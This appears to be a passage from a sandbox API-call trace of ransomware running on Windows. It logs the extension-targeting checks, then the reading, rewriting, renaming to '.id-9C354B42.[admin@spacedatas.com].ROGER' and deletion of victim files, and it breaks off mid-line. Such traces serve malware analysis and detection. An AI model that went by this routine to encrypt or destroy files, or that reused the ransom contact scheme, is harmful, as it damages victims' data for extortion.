lstrlenW (lpString=".ppt") returned 4 [0040.746] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.746] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0040.746] lstrlenW (lpString=".zip") returned 4 [0040.746] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.746] lstrlenW (lpString=".rar") returned 4 [0040.746] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.746] lstrlenW (lpString=".bz2") returned 4 [0040.746] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.746] lstrlenW (lpString=".7z") returned 3 [0040.746] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.746] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0040.746] lstrlenW (lpString=".dbf") returned 4 [0040.746] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.746] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0040.746] lstrlenW (lpString=".1cd") returned 4 [0040.746] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.746] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0040.746] lstrlenW (lpString=".jpg") returned 4 [0040.746] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.746] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0040.746] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0040.746] lstrlenW (lpString=".doc") returned 4 [0040.746] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.746] lstrlenW (lpString=".docx") returned 5 [0040.746] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0040.746] lstrlenW (lpString=".pdf") returned 4 [0040.747] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.747] lstrlenW (lpString=".xls") returned 4 [0040.747] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.747] lstrlenW (lpString=".xlsx") returned 5 [0040.747] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0040.747] lstrlenW (lpString=".ppt") returned 4 [0040.747] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.747] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0040.747] lstrlenW (lpString=".zip") returned 4 [0040.747] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.747] lstrlenW (lpString=".rar") returned 4 [0040.747] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.747] lstrlenW (lpString=".bz2") returned 4 [0040.747] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.747] lstrlenW (lpString=".7z") returned 3 [0040.747] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.747] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0040.747] lstrlenW (lpString=".dbf") returned 4 [0040.747] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.747] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0040.747] lstrlenW (lpString=".1cd") returned 4 [0040.747] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.747] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0040.747] lstrlenW (lpString=".jpg") returned 4 [0040.747] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.747] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0040.747] lstrlenW (lpString="ProPlusrWW.xml") returned 14 [0040.747] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0041.035] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=16852) returned 1 [0041.035] CloseHandle (hObject=0x394) returned 1 [0041.036] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 0x2020 [0041.036] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0041.036] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0041.036] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.036] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.036] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0041.036] GetLastError () returned 0x0 [0041.036] ReadFile (in: hFile=0x394, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x41d4, lpOverlapped=0x0) returned 1 [0041.261] WriteFile (in: hFile=0x398, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0041.262] ReadFile (in: hFile=0x394, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.262] WriteFile (in: hFile=0x398, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0041.262] SetEndOfFile (hFile=0x398) returned 1 [0041.262] CloseHandle (hObject=0x398) returned 1 [0041.263] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.263] SetEndOfFile (hFile=0x394) returned 1 [0041.264] CloseHandle (hObject=0x394) returned 1 [0041.264] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0041.264] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 1 [0041.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0041.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0041.264] lstrlenW (lpString=".doc") returned 4 [0041.264] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.264] lstrlenW (lpString=".docx") returned 5 [0041.264] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0041.264] lstrlenW (lpString=".pdf") returned 4 [0041.264] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.264] lstrlenW (lpString=".xls") returned 4 [0041.264] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.264] lstrlenW (lpString=".xlsx") returned 5 [0041.264] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0041.264] lstrlenW (lpString=".ppt") returned 4 [0041.264] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0041.265] lstrlenW (lpString=".zip") returned 4 [0041.265] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.265] lstrlenW (lpString=".rar") returned 4 [0041.265] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.265] lstrlenW (lpString=".bz2") returned 4 [0041.265] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.265] lstrlenW (lpString=".7z") returned 3 [0041.265] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0041.265] lstrlenW (lpString=".dbf") returned 4 [0041.265] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0041.265] lstrlenW (lpString=".1cd") returned 4 [0041.265] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0041.265] lstrlenW (lpString=".jpg") returned 4 [0041.265] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0041.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0041.265] lstrlenW (lpString=".doc") returned 4 [0041.265] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.265] lstrlenW (lpString=".docx") returned 5 [0041.265] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0041.265] lstrlenW (lpString=".pdf") returned 4 [0041.265] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.265] lstrlenW (lpString=".xls") returned 4 [0041.265] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.265] lstrlenW (lpString=".xlsx") returned 5 [0041.265] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0041.265] lstrlenW (lpString=".ppt") returned 4 [0041.265] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0041.265] lstrlenW (lpString=".zip") returned 4 [0041.265] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.266] lstrlenW (lpString=".rar") returned 4 [0041.266] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.266] lstrlenW (lpString=".bz2") returned 4 [0041.266] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.266] lstrlenW (lpString=".7z") returned 3 [0041.266] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.266] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0041.266] lstrlenW (lpString=".dbf") returned 4 [0041.266] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.266] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0041.266] lstrlenW (lpString=".1cd") returned 4 [0041.266] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.266] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0041.266] lstrlenW (lpString=".jpg") returned 4 [0041.266] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.266] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0041.266] lstrlenW (lpString="MS.PNG") returned 6 [0041.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0041.345] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=1682) returned 1 [0041.345] CloseHandle (hObject=0x394) returned 1 [0041.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0041.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0041.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0041.345] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.346] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.346] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0041.346] GetLastError () returned 0x0 [0041.346] ReadFile (in: hFile=0x394, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x692, lpOverlapped=0x0) returned 1 [0041.386] WriteFile (in: hFile=0x398, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x6a0, lpOverlapped=0x0) returned 1 [0041.387] ReadFile (in: hFile=0x394, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.388] WriteFile (in: hFile=0x398, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0041.388] SetEndOfFile (hFile=0x398) returned 1 [0041.388] CloseHandle (hObject=0x398) returned 1 [0041.389] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.389] SetEndOfFile (hFile=0x394) returned 1 [0041.390] CloseHandle (hObject=0x394) returned 1 [0041.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0041.390] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 1 [0041.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0041.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0041.390] lstrlenW (lpString=".doc") returned 4 [0041.390] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.390] lstrlenW (lpString=".docx") returned 5 [0041.390] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0041.391] lstrlenW (lpString=".pdf") returned 4 [0041.391] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.391] lstrlenW (lpString=".xls") returned 4 [0041.391] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.391] lstrlenW (lpString=".xlsx") returned 5 [0041.679] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0041.680] lstrlenW (lpString=".ppt") returned 4 [0041.680] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0041.680] lstrlenW (lpString=".zip") returned 4 [0041.680] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.680] lstrlenW (lpString=".rar") returned 4 [0041.680] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.680] lstrlenW (lpString=".bz2") returned 4 [0041.680] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.680] lstrlenW (lpString=".7z") returned 3 [0041.680] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0041.680] lstrlenW (lpString=".dbf") returned 4 [0041.680] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0041.680] lstrlenW (lpString=".1cd") returned 4 [0041.680] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0041.680] lstrlenW (lpString=".jpg") returned 4 [0041.680] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0041.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0041.680] lstrlenW (lpString=".doc") returned 4 [0041.680] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.680] lstrlenW (lpString=".docx") returned 5 [0041.680] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0041.680] lstrlenW (lpString=".pdf") returned 4 [0041.680] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.680] lstrlenW (lpString=".xls") returned 4 [0041.680] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.680] lstrlenW (lpString=".xlsx") returned 5 [0041.681] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0041.681] lstrlenW (lpString=".ppt") returned 4 [0041.681] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0041.681] lstrlenW (lpString=".zip") returned 4 [0041.681] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.681] lstrlenW (lpString=".rar") returned 4 [0041.681] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.682] lstrlenW (lpString=".bz2") returned 4 [0041.684] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.684] lstrlenW (lpString=".7z") returned 3 [0041.684] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0041.684] lstrlenW (lpString=".dbf") returned 4 [0041.684] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0041.684] lstrlenW (lpString=".1cd") returned 4 [0041.684] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0041.684] lstrlenW (lpString=".jpg") returned 4 [0041.684] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.685] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0041.685] lstrlenW (lpString="keypadbase.xml") returned 14 [0041.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0042.024] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=1118) returned 1 [0042.024] CloseHandle (hObject=0x398) returned 1 [0042.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0042.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0042.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0042.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0042.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0042.025] lstrlenW (lpString=".doc") returned 4 [0042.026] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.026] lstrlenW (lpString=".docx") returned 5 [0042.026] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0042.026] lstrlenW (lpString=".pdf") returned 4 [0042.026] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.026] lstrlenW (lpString=".xls") returned 4 [0042.026] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.026] lstrlenW (lpString=".xlsx") returned 5 [0042.026] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0042.026] lstrlenW (lpString=".ppt") returned 4 [0042.026] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0042.026] lstrlenW (lpString=".zip") returned 4 [0042.026] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.026] lstrlenW (lpString=".rar") returned 4 [0042.026] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.026] lstrlenW (lpString=".bz2") returned 4 [0042.026] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.026] lstrlenW (lpString=".7z") returned 3 [0042.026] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0042.026] lstrlenW (lpString=".dbf") returned 4 [0042.026] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0042.026] lstrlenW (lpString=".1cd") returned 4 [0042.026] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0042.026] lstrlenW (lpString=".jpg") returned 4 [0042.026] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0042.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0042.026] lstrlenW (lpString=".doc") returned 4 [0042.026] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.026] lstrlenW (lpString=".docx") returned 5 [0042.027] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0042.027] lstrlenW (lpString=".pdf") returned 4 [0042.027] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.027] lstrlenW (lpString=".xls") returned 4 [0042.027] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.027] lstrlenW (lpString=".xlsx") returned 5 [0042.027] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0042.027] lstrlenW (lpString=".ppt") returned 4 [0042.027] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0042.027] lstrlenW (lpString=".zip") returned 4 [0042.027] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.027] lstrlenW (lpString=".rar") returned 4 [0042.027] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.027] lstrlenW (lpString=".bz2") returned 4 [0042.027] 